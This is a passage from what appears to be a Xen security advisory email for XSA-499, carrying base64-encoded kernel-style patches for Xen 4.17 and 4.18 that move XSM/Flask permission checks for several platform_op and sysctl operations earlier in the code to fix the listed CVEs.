aW50IGNtZAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
WEVOMl9fQ09WRVJBR0VfT1AsIE5VTEwpOwogCiAgICAgZGVmYXVsdDoKLSAg
ICAgICAgcmV0dXJuIGF2Y191bmtub3duX3Blcm1pc3Npb24oInN5c2N0bCIs
IGNtZCk7CisgICAgICAgIHJldHVybiBhdmNfdW5rbm93bl9wZXJtaXNzaW9u
KCJzeXNjdGwiLCBvcC0+Y21kKTsKICAgICB9CiB9CiAK

--=separator
Content-Type: application/octet-stream; name="xsa499/xsa499-3.patch"
Content-Disposition: attachment; filename="xsa499/xsa499-3.patch"
Content-Transfer-Encoding: base64

RnJvbTogSmFuIEJldWxpY2ggP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content-Type: application/octet-stream; name="xsa499/xsa499-4.17-1.patch"
Content-Disposition: attachment; filename="xsa499/xsa499-4.17-1.patch"
Content-Transfer-Encoding: base64

RnJvbTogSmFuIEJldWxpY2ggPGpiZXVsaWNoQHN1c2UuY29tPgpTdWJqZWN0
OiBwbGF0Zm9ybS1vcC9YU006IG1vdmUgcmVzb3VyY2Uteyx1bn1wbHVnLWNv
cmUgY2hlY2tzCgpJbnRlZ3JhdGUgdGhlIGNoZWNraW5nIHdpdGggZmxhc2tf
cGxhdGZvcm1fb3AoKTsgdGhlcmUgbmV2ZXIgcmVhbGx5IHdhcyBhCm5lZWQg
dG8gZGVmZXIgdGhlc2UgY2hlY2tzLCBhcyB0aGUgc3ViLW9wIGhhcyBhbHdh
eXMgYmVlbiBrbm93biB0byB0aGUKZnVuY3Rpb24uIEFzIGEgcG9zaXRpdmUg
c2lkZSBlZmZlY3QsIHBlcm1pc3Npb25zIGFyZSB0aGVuIGNoZWNrZWQgYXQg
dGhlCnNhbWUgZWFybHkgcG9pbnQgd2l0aCBhbmQgd2l0aG91dCBGbGFzay4K
ClRoaXMgaXMgQ1ZFLTIwMjYtNjI0MjcgLyBwYXJ0IG9mIFhTQS00OTkuCgpT
aWduZWQtb2ZmLWJ5OiBKYW4gQmV1bGljaCA8amJldWxpY2hAc3VzZS5jb20+
ClJldmlld2VkLWJ5OiBSb2dlciBQYXUgTW9ubsOpIDxyb2dlci5wYXVAY2l0
cml4LmNvbT4KUmV2aWV3ZWQtYnk6IEFuZHJldyBDb29wZXIgPGFuZHJldy5j
b29wZXIzQGNpdHJpeC5jb20+CkFja2VkLUJ5OiBEYW5pZWwgUC4gU21pdGgg
PGRwc21pdGhAYXBlcnR1c3NvbHV0aW9ucy5jb20+CgotLS0gYS94ZW4vYXJj
aC94ODYvcGxhdGZvcm1faHlwZXJjYWxsLmMKKysrIGIveGVuL2FyY2gveDg2
L3BsYXRmb3JtX2h5cGVyY2FsbC5jCkBAIC02NDQsMTAgKzY0NCw2IEBAIHJl
dF90IGRvX3BsYXRmb3JtX29wKAogICAgIHsKICAgICAgICAgaW50IGNwdSA9
IG9wLT51LmNwdV9vbC5jcHVpZDsKIAotICAgICAgICByZXQgPSB4c21fcmVz
b3VyY2VfcGx1Z19jb3JlKFhTTV9IT09LKTsKLSAgICAgICAgaWYgKCByZXQg
KQotICAgICAgICAgICAgYnJlYWs7Ci0KICAgICAgICAgaWYgKCBjcHUgPj0g
bnJfY3B1X2lkcyB8fCAhY3B1X3ByZXNlbnQoY3B1KSB8fAogICAgICAgICAg
ICAgIGNsb2Nrc291cmNlX2lzX3RzYygpICkKICAgICAgICAgewpAQCAtNjcw
LDEwICs2NjYsNiBAQCByZXRfdCBkb19wbGF0Zm9ybV9vcCgKICAgICB7CiAg
ICAgICAgIGludCBjcHUgPSBvcC0+dS5jcHVfb2wuY3B1aWQ7CiAKLSAgICAg
ICAgcmV0ID0geHNtX3Jlc291cmNlX3VucGx1Z19jb3JlKFhTTV9IT09LKTsK
LSAgICAgICAgaWYgKCByZXQgKQotICAgICAgICAgICAgYnJlYWs7Ci0KICAg
ICAgICAgaWYgKCBjcHUgPT0gMCApCiAgICAgICAgIHsKICAgICAgICAgICAg
IHJldCA9IC1FT1BOT1RTVVBQOwpAQCAtNjk5LDIwICs2OTEsMTIgQEAgcmV0
X3QgZG9fcGxhdGZvcm1fb3AoCiAgICAgYnJlYWs7CiAKICAgICBjYXNlIFhF
TlBGX2NwdV9ob3RhZGQ6Ci0gICAgICAgIHJldCA9IHhzbV9yZXNvdXJjZV9w
bHVnX2NvcmUoWFNNX0hPT0spOwotICAgICAgICBpZiAoIHJldCApCi0gICAg
ICAgICAgICBicmVhazsKLQogICAgICAgICByZXQgPSBjcHVfYWRkKG9wLT51
LmNwdV9hZGQuYXBpY19pZCwKICAgICAgICAgICAgICAgICAgICAgICBvcC0+
dS5jcHVfYWRkLmFjcGlfaWQsCiAgICAgICAgICAgICAgICAgICAgICAgb3At
PnUuY3B1X2FkZC5weG0pOwotICAgIGJyZWFrOworICAgICAgICBicmVhazsK
IAogICAgIGNhc2UgWEVOUEZfbWVtX2hvdGFkZDoKLSAgICAgICAgcmV0ID0g
eHNtX3Jlc291cmNlX3BsdWdfY29yZShYU01fSE9PSyk7Ci0gICAgICAgIGlm
ICggcmV0ICkKLSAgICAgICAgICAgIGJyZWFrOwotCiAgICAgICAgIHJldCA9
IG1lbW9yeV9hZGQob3AtPnUubWVtX2FkZC5zcGZuLAogICAgICAgICAgICAg
ICAgICAgICAgIG9wLT51Lm1lbV9hZGQuZXBmbiwKICAgICAgICAgICAgICAg
ICAgICAgICBvcC0+dS5tZW1fYWRkLnB4bSk7Ci0tLSBhL3hlbi94c20vZmxh
c2svaG9va3MuYworKysgYi94ZW4veHNtL2ZsYXNrL2hvb2tzLmMKQEAgLTE1
NTEsMTIgKzE1NTEsMTMgQEAgc3RhdGljIGludCBjZl9jaGVjayBmbGFza19w
bGF0Zm9ybV9vcCh1aQogICAgIHN3aXRjaCAoIG9wICkKICAgICB7CiAjaWZk
ZWYgQ09ORklHX1g4NgotICAgIC8qIFRoZXNlIG9wZXJhdGlvbnMgaGF2ZSB0
aGVpciBvd24gWFNNIGhvb2tzICovCiAgICAgY2FzZSBYRU5QRl9jcHVfb25s
aW5lOgotICAgIGNhc2UgWEVOUEZfY3B1X29mZmxpbmU6CiAgICAgY2FzZSBY
RU5QRl9jcHVfaG90YWRkOgogICAgIGNhc2UgWEVOUEZfbWVtX2hvdGFkZDoK
LSAgICAgICAgcmV0dXJuIDA7CisgICAgICAgIHJldHVybiBmbGFza19yZXNv
dXJjZV9wbHVnX2NvcmUoKTsKKworICAgIGNhc2UgWEVOUEZfY3B1X29mZmxp
bmU6CisgICAgICAgIHJldHVybiBmbGFza19yZXNvdXJjZV91bnBsdWdfY29y
ZSgpOwogI2VuZGlmCiAKICAgICBjYXNlIFhFTlBGX3NldHRpbWUzMjoK

--=separator
Content-Type: application/octet-stream; name="xsa499/xsa499-4.17-2.patch"
Content-Disposition: attach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iAgICAgY2FzZSBYRU5fU1lTQ1RMX3JlYWRj
b25zb2xlOgpAQCAtOTYzLDcgKzk2Myw3IEBAIHN0YXRpYyBpbnQgY2ZfY2hl
Y2sgZmxhc2tfc3lzY3RsKGludCBjbWQKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIFhFTjJfX0NPVkVSQUdFX09QLCBOVUxMKTsKIAog
ICAgIGRlZmF1bHQ6Ci0gICAgICAgIHJldHVybiBhdmNfdW5rbm93bl9wZXJt
aXNzaW9uKCJzeXNjdGwiLCBjbWQpOworICAgICAgICByZXR1cm4gYXZjX3Vu
a25vd25fcGVybWlzc2lvbigic3lzY3RsIiwgb3AtPmNtZCk7CiAgICAgfQog
fQogCg==

--=separator
Content-Type: application/octet-stream; name="xsa499/xsa499-4.17-3.patch"
Content-Disposition: attachment; filename="xsa499/xsa499-4.17-3.patch"
Content-Transfer-Encoding: base64

RnJvbTogSmFuIEJldWxpY2ggPGpiZXVsaWNoQHN1c2UuY29tPgpTdWJqZWN0
OiBzeXNjdGwvWFNNOiBkcm9wIC5zY2hlZHVsZXJfb3AoKSBob29rCgpJbnRl
Z3JhdGUgdGhlIGNoZWNraW5nIHdpdGggeHNtX3N5c2N0bCgpLCBub3cgdGhh
dCBpdCBoYXMgdGhlIGZ1bGwgb3AKc3RydWN0IHBhc3NlZC4gQXMgYSBwb3Np
dGl2ZSBzaWRlIGVmZmVjdCwgcGVybWlzc2lvbnMgYXJlIHRoZW4gY2hlY2tl
ZCBhdAp0aGUgc2FtZSBlYXJseSBwb2ludCB3aXRoIGFuZCB3aXRob3V0IEZs
YXNrLgoKVGhpcyBpcyBwYXJ0IG9mIENWRS0yMDI2LTYyNDI2IC8gWFNBLTQ5
OS4KClNpZ25lZC1vZmYtYnk6IEphbiBCZXVsaWNoIDxqYmV1bGljaEBzdXNl
LmNvbT4KUmV2aWV3ZWQtYnk6IEFuZHJldyBDb29wZXIgPGFuZHJldy5jb29w
ZXIzQGNpdHJpeC5j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AgIC5zZWN1cml0eV9kb21haW5pbmZvID0gZmxhc2tfc2Vj
dXJpdHlfZG9tYWluaW5mbywKICAgICAuZG9tYWluX2NyZWF0ZSA9IGZsYXNr
X2RvbWFpbl9jcmVhdGUsCiAgICAgLmdldGRvbWFpbmluZm8gPSBmbGFza19n
ZXRkb21haW5pbmZvLAotICAgIC5zeXNjdGxfc2NoZWR1bGVyX29wID0gZmxh
c2tfc3lzY3RsX3NjaGVkdWxlcl9vcCwKICAgICAuc2V0X3RhcmdldCA9IGZs
YXNrX3NldF90YXJnZXQsCiAgICAgLmRvbWN0bCA9IGZsYXNrX2RvbWN0bCwK
ICAgICAuc3lzY3RsID0gZmxhc2tfc3lzY3RsLAo=

--=separator
Content-Type: application/octet-stream; name="xsa499/xsa499-4.17-4.patch"
Content-Disposition: attachment; filename="xsa499/xsa499-4.17-4.patch"
Content-Transfer-Encoding: base64

RnJvbTogSmFuIEJldWxpY2ggPGpiZXVsaWNoQHN1c2UuY29tPgpTdWJqZWN0
OiBzeXNjdGwvRmxhc2s6IGFkZCBwcmVsaW1pbmFyeSBjaGVjayBmb3IgWEVO
X1NZU0NUTF9nZXRkb21haW5pbmZvbGlzdAoKVG8gc2hpZWxkIHRoZSBzeXNj
dGwgbG9jayBmcm9tIGFidXNlIGJ5IHVuYXV0aG9yaXplZCBkb21haW5zLCBm
b2xsb3cgd2hhdAo1MTU0ZmRkYTExMjQgKCJkb21jdGw6IHByb3RlY3QgbG9j
a2luZyBmb3IgZ2V0X2RvbWFpbl9zdGF0ZSIpIGRpZDogQ2hlY2sKZm9yIHBl
cm1pc3Npb24gdG8gaXNzdWUgdGhlIG9wZXJhdGlvbiBhZ2FpbnN0IERPTV9Y
RU4gaW4gZmxhc2tfc3lzY3RsKCkuClRoZSBmaW5lci1ncmFpbmVkIHhzbV9n
ZXRkb21haW5pbmZvKCkgbGF0ZXIgaW4gdGhlIGhhbmRsaW5nIG9mIHRoZSBz
dWItb3AKcmVtYWlucyB1bmFsdGVyZW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NSw2IEBAIHN0YXRpYyBpbnQgY2ZfY2hlY2sgZmxhc2tfc3lzY3RsKGNvbnN0
IHMKICAgICB7CiAgICAgLyogVGhlc2UgaGF2ZSBpbmRpdmlkdWFsIFhTTSBo
b29rcyAqLwogICAgIGNhc2UgWEVOX1NZU0NUTF9yZWFkY29uc29sZToKLSAg
ICBjYXNlIFhFTl9TWVNDVExfZ2V0ZG9tYWluaW5mb2xpc3Q6CiAgICAgY2Fz
ZSBYRU5fU1lTQ1RMX3BhZ2Vfb2ZmbGluZV9vcDoKICNpZmRlZiBDT05GSUdf
WDg2CiAgICAgY2FzZSBYRU5fU1lTQ1RMX2NwdV9ob3RwbHVnOgpAQCAtOTQy
LDYgKzk0MSw5IEBAIHN0YXRpYyBpbnQgY2ZfY2hlY2sgZmxhc2tfc3lzY3Rs
KGNvbnN0IHMKICAgICBjYXNlIFhFTl9TWVNDVExfZ2V0X2NwdV9wb2xpY3k6
CiAgICAgICAgIHJldHVybiBkb21haW5faGFzX3hlbihjdXJyZW50LT5kb21h
aW4sIFhFTl9fUEhZU0lORk8pOwogCisgICAgY2FzZSBYRU5fU1lTQ1RMX2dl
dGRvbWFpbmluZm9saXN0OgorICAgICAgICByZXR1cm4gZmxhc2tfZ2V0ZG9t
YWluaW5mbyhkb21feGVuKTsKKwogICAgIGNhc2UgWEVOX1NZU0NUTF9wc3Jf
Y210X29wOgogICAgICAgICByZXR1cm4gYXZjX2N1cnJlbnRfaGFzX3Blcm0o
U0VDSU5JVFNJRF9YRU4sIFNFQ0NMQVNTX1hFTjIsCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICBYRU4yX19QU1JfQ01UX09QLCBOVUxM
KTsK

--=separator
Content-Type: application/octet-stream; name="xsa499/xsa499-4.17-5.patch"
Content-Disposition: attachment; filename="xsa499/xsa499-4.17-5.patch"
Content-Transfer-Encoding: base64

RnJvbTogSmFuIEJldWxpY2ggPGpiZXVsaWNoQHN1c2UuY29tPgpTdWJqZWN0
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ICAgICAgICAg
ICAgICA9IHhzbV9ldnRjaG5fdW5ib3VuZCwKICAgICAuZXZ0Y2huX2ludGVy
ZG9tYWluICAgICAgICAgICAgPSB4c21fZXZ0Y2huX2ludGVyZG9tYWluLAot
LS0gYS94ZW4veHNtL2ZsYXNrL2hvb2tzLmMKKysrIGIveGVuL3hzbS9mbGFz
ay9ob29rcy5jCkBAIC04OTQsMTMgKzg5NCwxOCBAQCBzdGF0aWMgaW50IGNm
X2NoZWNrIGZsYXNrX3N5c2N0bChjb25zdCBzCiAgICAgc3dpdGNoICggb3At
PmNtZCApCiAgICAgewogICAgIC8qIFRoZXNlIGhhdmUgaW5kaXZpZHVhbCBY
U00gaG9va3MgKi8KLSAgICBjYXNlIFhFTl9TWVNDVExfcmVhZGNvbnNvbGU6
CiAgICAgY2FzZSBYRU5fU1lTQ1RMX3BhZ2Vfb2ZmbGluZV9vcDoKICNpZmRl
ZiBDT05GSUdfWDg2CiAgICAgY2FzZSBYRU5fU1lTQ1RMX2NwdV9ob3RwbHVn
OgogI2VuZGlmCiAgICAgICAgIHJldHVybiAwOwogCisgICAgY2FzZSBYRU5f
U1lTQ1RMX3JlYWRjb25zb2xlOgorICAgICAgICByZXR1cm4gZG9tYWluX2hh
c194ZW4oY3VycmVudC0+ZG9tYWluLAorICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgWEVOX19SRUFEQ09OU09MRSB8CisgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAob3AtPnUucmVhZGNvbnNvbGUuY2xlYXIgPyBYRU5f
X0NMRUFSQ09OU09MRQorICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIDogMCkpOworCiAgICAgY2FzZSBY
RU5fU1lTQ1RMX3RidWZfb3A6CiAgICAgICAgIHJldHVybiBkb21haW5faGFz
X3hlbihjdXJyZW50LT5kb21haW4sIFhFTl9fVEJVRkNPTlRST0wpOwogCkBA
IC05NzEsMTYgKzk3Niw2IEBAIHN0YXRpYyBpbnQgY2ZfY2hlY2sgZmxhc2tf
c3lzY3RsKGNvbnN0IHMKICAgICB9CiB9CiAKLXN0YXRpYyBpbnQgY2ZfY2hl
Y2sgZmxhc2tfcmVhZGNvbnNvbGUodWludDMyX3QgY2xlYXIpCi17Ci0gICAg
dWludDMyX3QgcGVybXMgPSBYRU5fX1JFQURDT05TT0xFOwotCi0gICAgaWYg
KCBjbGVhciApCi0gICAgICAgIHBlcm1zIHw9IFhFTl9fQ0xFQVJDT05TT0xF
OwotCi0gICAgcmV0dXJuIGRvbWFpbl9oYXNfeGVuKGN1cnJlbnQtPmRvbWFp
biwgcGVybXMpOwotfQotCiBzdGF0aWMgaW5saW5lIHVpbnQzMl90IHJlc291
cmNlX3RvX3Blcm0odWludDhfdCBhY2Nlc3MpCiB7CiAgICAgaWYgKCBhY2Nl
c3MgKQpAQCAtMTkwMiw3ICsxODk3LDYgQEAgc3RhdGljIGNvbnN0IHN0cnVj
dCB4c21fb3BzIF9faW5pdGNvbnN0XwogICAgIC5zZXRfdGFyZ2V0ID0gZmxh
c2tfc2V0X3RhcmdldCwKICAgICAuZG9tY3RsID0gZmxhc2tfZG9tY3RsLAog
ICAgIC5zeXNjdGwgPSBmbGFza19zeXNjdGwsCi0gICAgLnJlYWRjb25zb2xl
ID0gZmxhc2tfcmVhZGNvbnNvbGUsCiAKICAgICAuZXZ0Y2huX3VuYm91bmQg
PSBmbGFza19ldnRjaG5fdW5ib3VuZCwKICAgICAuZXZ0Y2huX2ludGVyZG9t
YWluID0gZmxhc2tfZXZ0Y2huX2ludGVyZG9tYWluLAo=

--=separator
Content-Type: application/octet-stream; name="xsa499/xsa499-4.17-6.patch"
Content-Disposition: attachment; filename="xsa499/xsa499-4.17-6.patch"
Content-Transfer-Encoding: base64

RnJvbTogSmFuIEJldWxpY2ggPGpiZXVsaWNoQHN1c2UuY29tPgpTdWJqZWN0
OiBzeXNjdGwvWFNNOiBkcm9wIC5yZXNvdXJjZV97LHVufXBsd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B2b2lkICpoY3B1OwogCiAgICAgICAgIHN3aXRjaCAo
IG9wICkKICAgICAgICAgewogICAgICAgICBjYXNlIFhFTl9TWVNDVExfQ1BV
X0hPVFBMVUdfT05MSU5FOgotICAgICAgICAgICAgcGx1ZyA9IHRydWU7CiAg
ICAgICAgICAgICBmbiA9IGNwdV91cF9oZWxwZXI7CiAgICAgICAgICAgICBo
Y3B1ID0gX3AoY3B1KTsKICAgICAgICAgICAgIGJyZWFrOwogCiAgICAgICAg
IGNhc2UgWEVOX1NZU0NUTF9DUFVfSE9UUExVR19PRkZMSU5FOgotICAgICAg
ICAgICAgcGx1ZyA9IGZhbHNlOwogICAgICAgICAgICAgZm4gPSBjcHVfZG93
bl9oZWxwZXI7CiAgICAgICAgICAgICBoY3B1ID0gX3AoY3B1KTsKICAgICAg
ICAgICAgIGJyZWFrOwpAQCAtMTUxLDkgKzE0OCw4IEBAIGxvbmcgYXJjaF9k
b19zeXNjdGwoCiAgICAgICAgICAgICBpZiAoIENPTkZJR19OUl9DUFVTIDw9
IDEgKQogICAgICAgICAgICAgICAgIC8qIE1pbWljIGJlaGF2aW9yIG9mIHNt
dF91cF9kb3duX2hlbHBlcigpLiAqLwogICAgICAgICAgICAgICAgIHJldHVy
biAwOwotICAgICAgICAgICAgcGx1ZyA9IG9wID09IFhFTl9TWVNDVExfQ1BV
X0hPVFBMVUdfU01UX0VOQUJMRTsKICAgICAgICAgICAgIGZuID0gc210X3Vw
X2Rvd25faGVscGVyOwotICAgICAgICAgICAgaGNwdSA9IF9wKHBsdWcpOwor
ICAgICAgICAgICAgaGNwdSA9IF9wKG9wID09IFhFTl9TWVNDVExfQ1BVX0hP
VFBMVUdfU01UX0VOQUJMRSk7CiAgICAgICAgICAgICBicmVhazsKIAogICAg
ICAgICBkZWZhdWx0OgpAQCAtMTYyLDEwICsxNTgsNiBAQCBsb25nIGFyY2hf
ZG9fc3lzY3RsKAogICAgICAgICB9CiAKICAgICAgICAgaWYgKCAhcmV0ICkK
LSA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dmNfY3VycmVudF9oYXNfcGVybShTRUNJTklUU0lEX0RP
TVhFTiwgU0VDQ0xBU1NfUkVTT1VSQ0UsIFJFU09VUkNFX19VTlBMVUcsIE5V
TEwpOwogfQpAQCAtMTk0Nyw4ICsxOTY0LDYgQEAgc3RhdGljIGNvbnN0IHN0
cnVjdCB4c21fb3BzIF9faW5pdGNvbnN0XwogICAgIC5pb21lbV9tYXBwaW5n
ID0gZmxhc2tfaW9tZW1fbWFwcGluZywKICAgICAucGNpX2NvbmZpZ19wZXJt
aXNzaW9uID0gZmxhc2tfcGNpX2NvbmZpZ19wZXJtaXNzaW9uLAogCi0gICAg
LnJlc291cmNlX3BsdWdfY29yZSA9IGZsYXNrX3Jlc291cmNlX3BsdWdfY29y
ZSwKLSAgICAucmVzb3VyY2VfdW5wbHVnX2NvcmUgPSBmbGFza19yZXNvdXJj
ZV91bnBsdWdfY29yZSwKICAgICAucmVzb3VyY2VfcGx1Z19wY2kgPSBmbGFz
a19yZXNvdXJjZV9wbHVnX3BjaSwKICAgICAucmVzb3VyY2VfdW5wbHVnX3Bj
aSA9IGZsYXNrX3Jlc291cmNlX3VucGx1Z19wY2ksCiAgICAgLnJlc291cmNl
X3NldHVwX3BjaSA9IGZsYXNrX3Jlc291cmNlX3NldHVwX3BjaSwK

--=separator
Content-Type: application/octet-stream; name="xsa499/xsa499-4.17-7.patch"
Content-Disposition: attachment; filename="xsa499/xsa499-4.17-7.patch"
Content-Transfer-Encoding: base64

RnJvbTogSmFuIEJldWxpY2ggPGpiZXVsaWNoQHN1c2UuY29tPgpTdWJqZWN0
OiBzeXNjdGwvWFNNOiBkcm9wIC5wYWdlX29mZmxpbmUoKSBob29rCgpJbnRl
Z3JhdGUgdGhlIGNoZWNraW5nIHdpdGggeHNtX3N5c2N0bCgpLCBub3cgdGhh
dCBpdCBoYXMgdGhlIGZ1bGwgb3AKc3RydWN0IHBhc3NlZC4gQXMgYSBwb3Np
dGl2ZSBzaWRlIGVmZmVjdCwgcGVybW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XJuIGZsYXNrX3Jl
c291cmNlX3VucGx1Z19jb3JlKCk7Ci0gICAgY2FzZSBzeXNjdGxfcGFnZV9v
bmxpbmU6Ci0gICAgICAgIHJldHVybiBmbGFza19yZXNvdXJjZV9wbHVnX2Nv
cmUoKTsKLSAgICBjYXNlIHN5c2N0bF9xdWVyeV9wYWdlX29mZmxpbmU6Ci0g
ICAgICAgIHJldHVybiBmbGFza19yZXNvdXJjZV91c2VfY29yZSgpOwotICAg
IGRlZmF1bHQ6Ci0gICAgICAgIHJldHVybiBhdmNfdW5rbm93bl9wZXJtaXNz
aW9uKCJwYWdlX29mZmxpbmUiLCBjbWQpOwotICAgIH0KLX0KLQogc3RhdGlj
IGlubGluZSBpbnQgY2ZfY2hlY2sgZmxhc2tfaHlwZnNfb3Aodm9pZCkKIHsK
ICAgICByZXR1cm4gZG9tYWluX2hhc194ZW4oY3VycmVudC0+ZG9tYWluLCBY
RU5fX0hZUEZTX09QKTsKQEAgLTE5NzAsNyArMTk2OSw2IEBAIHN0YXRpYyBj
b25zdCBzdHJ1Y3QgeHNtX29wcyBfX2luaXRjb25zdF8KICAgICAucmVzb3Vy
Y2Vfc2V0dXBfZ3NpID0gZmxhc2tfcmVzb3VyY2Vfc2V0dXBfZ3NpLAogICAg
IC5yZXNvdXJjZV9zZXR1cF9taXNjID0gZmxhc2tfcmVzb3VyY2Vfc2V0dXBf
bWlzYywKIAotICAgIC5wYWdlX29mZmxpbmUgPSBmbGFza19wYWdlX29mZmxp
bmUsCiAgICAgLmh5cGZzX29wID0gZmxhc2tfaHlwZnNfb3AsCiAgICAgLmh2
bV9wYXJhbSA9IGZsYXNrX2h2bV9wYXJhbSwKICAgICAuaHZtX3BhcmFtX2Fs
dHAybWh2bSA9IGZsYXNrX2h2bV9wYXJhbV9hbHRwMm1odm0sCg==

--=separator
Content-Type: application/octet-stream; name="xsa499/xsa499-4.18-1.patch"
Content-Disposition: attachment; filename="xsa499/xsa499-4.18-1.patch"
Content-Transfer-Encoding: base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ZDsKIAotICAgICAgICByZXQgPSB4c21fcmVz
b3VyY2VfcGx1Z19jb3JlKFhTTV9IT09LKTsKLSAgICAgICAgaWYgKCByZXQg
KQotICAgICAgICAgICAgYnJlYWs7Ci0KICAgICAgICAgaWYgKCBjcHUgPj0g
bnJfY3B1X2lkcyB8fCAhY3B1X3ByZXNlbnQoY3B1KSB8fAogICAgICAgICAg
ICAgIGNsb2Nrc291cmNlX2lzX3RzYygpICkKICAgICAgICAgewpAQCAtNjk5
LDEwICs2OTUsNiBAQCByZXRfdCBkb19wbGF0Zm9ybV9vcCgKICAgICB7CiAg
ICAgICAgIGludCBjcHUgPSBvcC0+dS5jcHVfb2wuY3B1aWQ7CiAKLSAgICAg
ICAgcmV0ID0geHNtX3Jlc291cmNlX3VucGx1Z19jb3JlKFhTTV9IT09LKTsK
LSAgICAgICAgaWYgKCByZXQgKQotICAgICAgICAgICAgYnJlYWs7Ci0KICAg
ICAgICAgaWYgKCBjcHUgPT0gMCApCiAgICAgICAgIHsKICAgICAgICAgICAg
IHJldCA9IC1FT1BOT1RTVVBQOwpAQCAtNzI4LDIwICs3MjAsMTIgQEAgcmV0
X3QgZG9fcGxhdGZvcm1fb3AoCiAgICAgYnJlYWs7CiAKICAgICBjYXNlIFhF
TlBGX2NwdV9ob3RhZGQ6Ci0gICAgICAgIHJldCA9IHhzbV9yZXNvdXJjZV9w
bHVnX2NvcmUoWFNNX0hPT0spOwotICAgICAgICBpZiAoIHJldCApCi0gICAg
ICAgICAgICBicmVhazsKLQogICAgICAgICByZXQgPSBjcHVfYWRkKG9wLT51
LmNwdV9hZGQuYXBpY19pZCwKICAgICAgICAgICAgICAgICAgICAgICBvcC0+
dS5jcHVfYWRkLmFjcGlfaWQsCiAgICAgICAgICAgICAgICAgICAgICAgb3At
PnUuY3B1X2FkZC5weG0pOwotICAgIGJyZWFrOworICAgICAgICBicmVhazsK
IAogICAgIGNhc2UgWEVOUEZfbWVtX2hvdGFkZDoKLSAgICAgICAgcmV0ID0g
eHNtX3Jlc291cmNlX3BsdWdfY29yZShYU01fSE9PSyk7Ci0gICAgICAgIGlm
ICggcmV0ICkKLSAgICAgICAgICAgIGJyZWFrOwotCiAgICAgICAgIHJldCA9
IG1lbW9yeV9hZGQob3AtPnUubWVtX2FkZC5zcGZuLAogICAgICAgICAgICAg
ICAgICAgICAgIG9wLT51Lm1lbV9hZGQuZXBmbiwKICAgICAgICAgICAgICAg
ICAgICAgICBvcC0+dS5tZW1fYWRkLnB4bSk7Ci0tLSBhL3hlbi94c20vZmxh
c2svaG9va3MuYworKysgYi94ZW4veHNtL2ZsYXNrL2hvb2tzLmMKQEAgLTE1
NTQsMTIgKzE1NTQsMTMgQEAgc3RhdGljIGludCBjZl9jaGVjayBmbGFza19w
bGF0Zm9ybV9vcCh1aQogICAgIHN3aXRjaCAoIG9wICkKICAgICB7CiAjaWZk
ZWYgQ09ORklHX1g4NgotICAgIC8qIFRoZXNlIG9wZXJhdGlvbnMgaGF2ZSB0
aGVpciBvd24gWFNNIGhvb2tzICovCiAgICAgY2FzZSBYRU5QRl9jcHVfb25s
aW5lOgotICAgIGNhc2UgWEVOUEZfY3B1X29mZmxpbmU6CiAgICAgY2FzZSBY
RU5QRl9jcHVfaG90YWRkOgogICAgIGNhc2UgWEVOUEZfbWVtX2hvdGFkZDoK
LSAgICAgICAgcmV0dXJuIDA7CisgICAgICAgIHJldHVybiBmbGFza19yZXNv
dXJjZV9wbHVnX2NvcmUoKTsKKworICAgIGNhc2UgWEVOUEZfY3B1X29mZmxp
bmU6CisgICAgICAgIHJldHVybiBmbGFza19yZXNvdXJjZV91bnBsdWdfY29y
ZSgpOwogI2VuZGlmCiAKICAgICBjYXNlIFhFTlBGX3NldHRpbWUzMjoK

--=separator
Content-Type: application/octet-stream; name="xsa499/xsa499-4.18-2.patch"
Content-Disposition: attachment; filename="xsa499/xsa499-4.18-2.patch"
Content-Transfer-Encoding: base64

RnJvbTogSmFuIEJldWxpY2ggPGpiZXVsaWNoQHN1c2UuY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QgY2ZfY2hl
Y2sgZmxhc2tfc3lzY3RsKGludCBjbWQKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIFhFTjJfX0NPVkVSQUdFX09QLCBOVUxMKTsKIAog
ICAgIGRlZmF1bHQ6Ci0gICAgICAgIHJldHVybiBhdmNfdW5rbm93bl9wZXJt
aXNzaW9uKCJzeXNjdGwiLCBjbWQpOworICAgICAgICByZXR1cm4gYXZjX3Vu
a25vd25fcGVybWlzc2lvbigic3lzY3RsIiwgb3AtPmNtZCk7CiAgICAgfQog
fQogCg==

--=separator
Content-Type: application/octet-stream; name="xsa499/xsa499-4.18-3.patch"
Content-Disposition: attachment; filename="xsa499/xsa499-4.18-3.patch"
Content-Transfer-Encoding: base64

RnJvbTogSmFuIEJldWxpY2ggPGpiZXVsaWNoQHN1c2UuY29tPgpTdWJqZWN0
OiBzeXNjdGwvWFNNOiBkcm9wIC5zY2hlZHVsZXJfb3AoKSBob29rCgpJbnRl
Z3JhdGUgdGhlIGNoZWNraW5nIHdpdGggeHNtX3N5c2N0bCgpLCBub3cgdGhh
dCBpdCBoYXMgdGhlIGZ1bGwgb3AKc3RydWN0IHBhc3NlZC4gQXMgYSBwb3Np
dGl2ZSBzaWRlIGVmZmVjdCwgcGVybWlzc2lvbnMgYXJlIHRoZW4gY2hlY2tl
ZCBhdAp0aGUgc2FtZSBlYXJseSBwb2ludCB3aXRoIGFuZCB3aXRob3V0IEZs
YXNrLgoKVGhpcyBpcyBwYXJ0IG9mIENWRS0yMDI2LTYyNDI2IC8gWFNBLTQ5
OS4KClNpZ25lZC1vZmYtYnk6IEphbiBCZXVsaWNoIDxqYmV1bGljaEBzdXNl
LmNvbT4KUmV2aWV3ZWQtYnk6IEFuZHJldyBDb29wZXIgPGFuZHJldy5jb29w
ZXIzQGNpdHJpeC5jb20+CkFja2VkLUJ5OiBEYW5pZWwgUC4gU21pdGggPGRw
c21pdGhAYXBlcnR1c3NvbHV0aW9ucy5jb20+CgotLS0gYS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WF0ZSA9IGZsYXNr
X2RvbWFpbl9jcmVhdGUsCiAgICAgLmdldGRvbWFpbmluZm8gPSBmbGFza19n
ZXRkb21haW5pbmZvLAotICAgIC5zeXNjdGxfc2NoZWR1bGVyX29wID0gZmxh
c2tfc3lzY3RsX3NjaGVkdWxlcl9vcCwKICAgICAuc2V0X3RhcmdldCA9IGZs
YXNrX3NldF90YXJnZXQsCiAgICAgLmRvbWN0bCA9IGZsYXNrX2RvbWN0bCwK
ICAgICAuc3lzY3RsID0gZmxhc2tfc3lzY3RsLAo=

